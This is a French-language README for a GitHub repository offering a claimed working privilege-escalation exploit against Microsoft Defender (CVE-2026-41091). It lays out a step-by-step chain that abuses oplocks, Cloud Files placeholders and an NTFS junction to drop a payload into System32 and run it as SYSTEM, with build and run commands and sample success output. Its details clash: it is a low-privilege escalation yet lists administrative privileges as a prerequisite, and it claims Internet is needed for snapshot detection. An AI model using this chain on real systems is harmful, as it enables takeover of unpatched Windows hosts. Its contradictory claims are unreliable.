CVE-2026-41091 RedSun | Exploit LPE Microsoft Defender. Les utilisateurs à faibles privilèges obtiennent NT AUTHORITY\SYSTEM 🔥 via l'API Cloud Files + manipulation de jonctions NTFS. Force Defender à écrire des charges malveillantes dans System32 avec les droits SYSTEM. ⚠️ Activement exploitée dans la nature. CVSS 7.8. Correctif : Defender Engine 1.1.26040.8. 🛡️ PoC pédagogique uniquement.
# CVE-2026-41091 - RedSun (SolarFlare) - Boîte à outils d'exploitation LPE pour Microsoft Defender
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > Avertissement juridique et utilisation responsable
**Cet outil est fourni à des fins éducatives et de tests d'intrusion autorisés uniquement.**
Les auteurs et contributeurs ne sont pas responsables de tout usage abusif ou dommage causé par ce logiciel. Les utilisateurs sont seuls responsables de s'assurer qu'ils disposent d'une autorisation écrite explicite du propriétaire de la cible avant tout test. L'accès non autorisé à des systèmes informatiques est illégal en vertu des lois fédérales, étatiques et internationales applicables en matière de cybercriminalité.
En utilisant ce logiciel, vous acceptez de :
- L'utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.
- Respecter toutes les lois locales, étatiques et fédérales applicables.
- Ne pas l'utiliser pour des activités malveillantes, destructrices ou illégales.
> [!] **AVERTISSEMENT :** Les vulnérabilités d'élévation de privilèges dans Active Directory présentent un risque élevé pour l'infrastructure d'entreprise. Les tests non autorisés sont strictement interdits.
> **Vulnérabilité de suivi de lien dans Microsoft Defender** - Élévation de privilèges locale vers NT AUTHORITY\SYSTEM
### La vulnérabilité est connue sous le nom de « RedSun », « SolarFlare » est le nom que j'ai donné à mon exploit.
## [<] Aperçu
Ce dépôt contient un **Proof of Concept (PoC) entièrement fonctionnel** pour **CVE-2026-41091**, une vulnérabilité critique d'élévation de privilèges locale dans Microsoft Defender (Microsoft Malware Protection Engine). En exploitant une résolution de lien incorrecte (CWE-59), un attaquant authentifié à faibles privilèges peut obtenir les privilèges **NT AUTHORITY\SYSTEM**.
La vulnérabilité, également connue sous le nom de **« RedSun »** ou **« SolarFlare »**, permet aux attaquants d'amener Microsoft Defender à écrire des fichiers arbitraires dans des emplacements système protégés avec les privilèges SYSTEM en utilisant l'API Cloud Files (CfAPI) et les points de jonction NTFS.
> **Remarque :** Ce dépôt inclut deux versions :
> - `basic_poc.cpp` - Démonstration simplifiée de l'algorithme (éducative)
> - `full_poc.cpp` - Exploit complet et fonctionnel avec toutes les fonctionnalités
### [-<] Fonctionnalités clés
| Catégorie | Fonctionnalité | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **Exploitation** | Élévation de privilèges locale vers SYSTEM | `[+]` | `[+]` |
| | Intégration de l'API Cloud Files (CfAPI) | `[-]` | `[+]` |
| | Création d'espaces réservés cloud | `[-]` | `[+]` |
| | Redirection par point de jonction NTFS | `[~]` | `[+]` |
| | Activation du service COM | `[-]` | `[+]` |
| **Techniques** | Abus d'oplock par lots | `[+]` | `[+]` |
| | Détection d'instantanés VSS | `[+]` | `[+]` |
| | Déclencheur EICAR | `[+]` | `[+]` |
| | Point de réanalyse NTFS (point de montage) | `[+]` | `[+]` |
| | Disposition de fichier (NtSetInformationFile) | `[-]` | `[+]` |
| | Détection de l'ID de session par canal nommé | `[-]` | `[+]` |
| | Lancement de session console (conhost.exe) | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | Vérification SYSTEM | `[-]` | `[+]` |
| **Cible** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | x64 uniquement | `[+]` | `[+]` |
| **Utilisabilité** | Journalisation structurée | `[~]` | `[+]` |
| | Gestion des erreurs | `[~]` | `[+]` |
| | Noms de répertoires aléatoires | `[+]` | `[+]` |
| | Nettoyage automatique | `[~]` | `[+]` |
| | Logique de nouvelle tentative (NtCreateFile) | `[-]` | `[+]` |
## [i] Détails de la vulnérabilité
| Attribut | Valeur |
|-----------|-------|
| **ID CVE** | CVE-2026-41091 |
| **Score CVSS** | 7.8 (Élevé) |
| **Vecteur CVSS** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Vecteur d'attaque** | Local |
| **Privilèges requis** | Faibles |
| **Interaction utilisateur** | Aucune |
| **Impact** | Exécution de code au niveau SYSTEM |
| **CISA KEV** | [+] Oui (activement exploitée dans la nature) |
| **Correctif disponible** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] Produits affectés
| Produit | Versions affectées | Versions corrigées |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] Chaîne d'exploitation
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] Installation
### Prérequis
- Windows 10/11 ou Windows Server 2019/2022
- Visual Studio 2019/2022 avec les outils C++
- Privilèges administratifs (pour l'exécution)
### Compilation
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] Utilisation
### Exploit complet (élévation de privilèges SYSTEM)
```bash
full_poc.exe
```
### Démonstration de l'algorithme de base
```bash
basic_poc.exe
```
## [i] Exemple de sortie
### Sortie complète de l'exploit
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### Sortie PoC de base
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] Instructions de compilation
### Utilisation de Visual Studio
1. Ouvrir Developer Command Prompt for VS 2022
2. Naviguer vers le répertoire de l'exploit
3. Exécuter :
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### Utilisation de CMake
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] Prérequis et limitations
| Prérequis | Détails |
|-------------|---------|
| **OS** | Windows 10/11, Server 2019/2022 |
| **Privilèges** | Administratifs (pour l'exécution) |
| **Defender** | Microsoft Defender doit être activé |
| **Internet** | Requis pour la détection des instantanés VSS |
| **Correctif** | Fonctionne uniquement sur les systèmes non corrigés |
| **Architecture** | x64 uniquement |
## Exploits associés
Découvrez mes autres dépôts d'exploits :
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) - Contournement d'authentification de GNU inetutils-telnetd
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) - Exploit de contournement d'authentification cPanel/WHM
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) - Contournement d'authentification du débogage sans fil ADB d'Android